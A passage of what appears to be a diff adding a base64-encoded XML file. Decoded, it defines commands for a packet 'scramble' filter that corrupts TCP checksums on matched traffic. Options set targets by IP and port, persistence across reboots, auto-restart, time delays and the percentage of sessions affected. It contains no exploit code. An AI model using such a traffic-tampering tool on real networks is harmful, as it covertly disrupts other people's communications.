+aW9uIHdpbGwgYmUgZmlsdGVyZWQgb24uICBJZiAxIGlzIGVudGVyZWQsIG9ubHkgY29ubmVjdGlv
+bnMgZnJvbSB0aGUgY2xpZW50IHdpbGwgYmUgZmlsdGVyZWQgb24uICBJZiAyLCBvbmx5IHRob3Nl
+IGZyb20gdGhlIHNlcnZlci48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4N
+CiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgIDwvb3B0aW9uYWxfcGFyYW1ldGVy
+cz4NCiAgICAgICAgPC9wYXJhbWV0ZXJzPg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAg
+ICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRs
+ZT5TY3JhbWJsZSB0Y3BfY2hrc3VtIEZpbHRlcjwvdGl0bGU+DQogICAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAg
+ICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmli
+XzE8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfMjwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0
+dHJpYl8zPC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxj
+b2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwv
+ZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl82
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmli
+Xzc8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfODwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlv
+bj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAg
+ICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4NCiAgICAgICAg
+ICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbi8+DQogICAgICAgICAgPC9zZWN0aW9u
+Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAg
+ICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fZW48L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2Nv
+bHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFt
+YmxlX3BhcmFtX3BzPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAg
+ICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9yPC9lbGVt
+ZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAg
+ICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxl
+bWVudD5zY3JhbWJsZV9wYXJhbV90ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0K
+ICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9w
+YXJhbV90PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0
+aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fc2Q8L2VsZW1lbnQ+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNj
+cmFtYmxlX3BhcmFtX3M8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3NtPC9l
+bGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAg
+ICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVs
+ZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4N
+CiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3Bh
+cmFtX3A8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1
+bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BtPC9lbGVtZW50Pg0K
+ICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxz
+ZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2Ny
+YW1ibGVfcGFyYW1fZGlyPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+ICAgPC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2NtZD4NCiAg
+ICAgIDxjbWQgdGl0bGU9InVkcC1zcmNwb3J0Ij4NCiAgICAgICAgPGhlbHB0ZXh0PkNyZWF0ZXMg
+YSBuZXcgdWRwLXNyY3BvcnQgcnVsZSBiYXNlZCBvbiB0aGUgc3BlY2lmaWVkIGNyaXRlcmlhLjwv
+aGVscHRleHQ+DQogICAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICAgIDxyZXF1aXJlZF9wcmlt
+aXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQog
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMTE8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8
+L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXM+DQog
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgIDwvb3B0aW9uYWxf
+cHJpbWl0aXZlcz4NCiAgICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgICA8YXR0cmlidXRlcz4N
+CiAgICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1
+cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+U291cmNlIElQPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8
+dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+ICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4N
+CiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5j
+dXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+ICAgPG5jdXJzZWxhYmVsPlNvdXJjZSBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+ICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFu
+ZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0
+cmliXzM8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U3RhcnQgU3JjIFBv
+cnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4N
+CiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICAgICAgICA8YXJnbnVtYmVyPjM8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNv
+bW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRl
+X2F0dHJpYl80PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuZCBTcmMg
+UG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXpl
+Pg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAg
+ICAgICAgICAgICAgIDxhcmdudW1iZXI+NDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwvbmN1cnNlaWQ+DQogICAg
+ICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkRlc3RpbmF0aW9uIElQPC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2
+PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZl
+Pg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAg
+ICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNjwvbmN1cnNlaWQ+
+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkRlc3RpbmF0aW9uIE1hc2s8L25jdXJzZWxh
+YmVsPg0KICAgICAgICAgICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAg
+PHNpemU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj42PC9hcmdudW1iZXI+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4N
+CiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlk
+PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNzwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VsYWJlbD5TdGFydCBEc3QgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAg
+ICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAw
+MzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NzwvYXJnbnVtYmVyPg0K
+ICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzg8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8
+bmN1cnNlbGFiZWw+RW5kIERzdCBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAg
+ICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAw
+MDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj44PC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJp
+Yl85PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UHJvdG9jb2w8L25j
+dXJzZWxhYmVsPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAg
+ICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYw
+MDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjk8L2FyZ251bWJl
+cj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICA8b3B0
+aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgICAgPHBhcmFt
+ZXRlcnM+DQogICAgICAgICAgPHJlcXVpcmVkX3BhcmFtZXRlcnMvPg0KICAgICAgICAgIDxvcHRp
+b25hbF9wYXJhbWV0ZXJzPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJlbiI+DQogICAg
+ICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAg
+ICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fZW48L25jdXJzZWlkPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+RW5hYmxlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwv
+ZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNDwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICAgIDxoZWxwdGV4dD5FbmFibGVzIHRoZSBydWxlIG9uIGNyZWF0aW9uPC9oZWxwdGV4
+dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4N
+CiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icHMiPg0KICAgICAgICAgICAgICA8Y2FzZXNl
+bnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNj
+cmFtYmxlX3BhcmFtX3BzPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlBl
+cnNpc3Q8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAg
+ICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE8L3Np
+emU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+DQog
+ICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAg
+ICAgICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0
+ZXh0PkVuYWJsZSB0aGUgZmlsdGVyIHRvIHN1cnZpdmUgcmVib290cy48L2hlbHB0ZXh0Pg0KICAg
+ICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAg
+ICAgICAgPHBhcmFtZXRlciBmbGFnPSJyIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+
+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9w
+YXJhbV9yPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkF1dG8gUmVzdGFy
+dDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+ICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4N
+CiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAg
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAg
+ICAgICA8YXJnbnVtYmVyPjEwPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0
+PkF1dG9tYXRpY2FsbHkgcmUtZW5hYmxlIHRoZSBmaWx0ZXIgd2hlbiB0ZXJtaW5hdGlvbiBpcyBy
+ZWFjaGVkLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InRkIj4NCiAgICAg
+ICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV90ZDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5UaW1lIERlbGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAg
+ICAgICAgPHNpemU+MTU8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAw
+MDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMTwvYXJnbnVtYmVy
+Pg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5UaW1lIGJlZm9yZSBmaWx0ZXIgYWZmZWN0cyBw
+YWNrZXRzLiAgVGhlIGZvcm1hdCBjYW4gYmUgc2Vjb25kcyBpLmUuIDM2MDAsIG9yIG9uZSBjaGFy
+YWN0ZXIgc3BlY2lmaWVycyBmb3IgZGF5cywgaG91cnMsIG1pbnV0ZXMsIGFuZCBzZWNvbmRzIGku
+ZS4gMWQgMmggM20gNHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0idCI+
+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAg
+ICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fdDwvbmN1cnNlaWQ+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VsYWJlbD5UaW1lIER1cmF0aW9uPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAg
+ICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQog
+ICAgICAgICAgICAgICAgPHNpemU+MTU8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMjwv
+YXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5EdXJhdGlvbiBwYWNrZXRzIHdp
+bGwgYmUgYWZmZWN0ZWQgYnkgZmlsdGVyLiAgVGhlIGZvcm1hdCBjYW4gYmUgc2Vjb25kcyBpLmUu
+IDM2MDAsIG9yIG9uZSBjaGFyYWN0ZXIgc3BlY2lmaWVycyBmb3IgZGF5cywgaG91cnMsIG1pbnV0
+ZXMsIGFuZCBzZWNvbmRzIGkuZS4gMWQgMmggM20gNHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAg
+ICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxw
+YXJhbWV0ZXIgZmxhZz0ic2QiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwv
+Y2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3Nk
+PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNlc3Npb24gRGVsYXk8L25j
+dXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0
+eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJn
+bnVtYmVyPjEzPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk51bWJlciBv
+ZiBzZXNzaW9ucyB0byBpZ25vcmUgYmVmb3JlIGZpbHRlciBhZmZlY3RzIHBhY2tldHMuPC9oZWxw
+dGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRl
+cj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icyI+DQogICAgICAgICAgICAgIDxjYXNl
+c2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+
+c2NyYW1ibGVfcGFyYW1fczwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5T
+ZXNzaW9uIFBlcmNlbnRhZ2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8
+c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2
+YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE0PC9hcmdudW1iZXI+DQogICAgICAgICAgICAg
+ICAgPGhlbHB0ZXh0PlBlcmNlbnRhZ2Ugb2Ygc2Vzc2lvbnMgZmlsdGVyIHdpbGwgYWZmZWN0Ljwv
+aGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJh
+bWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InNtIj4NCiAgICAgICAgICAgICAg
+PGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9wYXJhbV9zbTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2Vs
+YWJlbD5NYXggU2Vzc2lvbnM8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8
+c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2
+YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE1PC9hcmdudW1iZXI+DQogICAgICAgICAgICAg
+ICAgPGhlbHB0ZXh0Pk1heGltdW0gbnVtYmVyIG9mIHNlc3Npb24gdG8gYWZmZWN0IGJlZm9yZSBm
+aWx0ZXIgaXMgdGVybWluYXRlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFn
+PSJwZCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZl
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcGQ8L25jdXJzZWlkPg0K
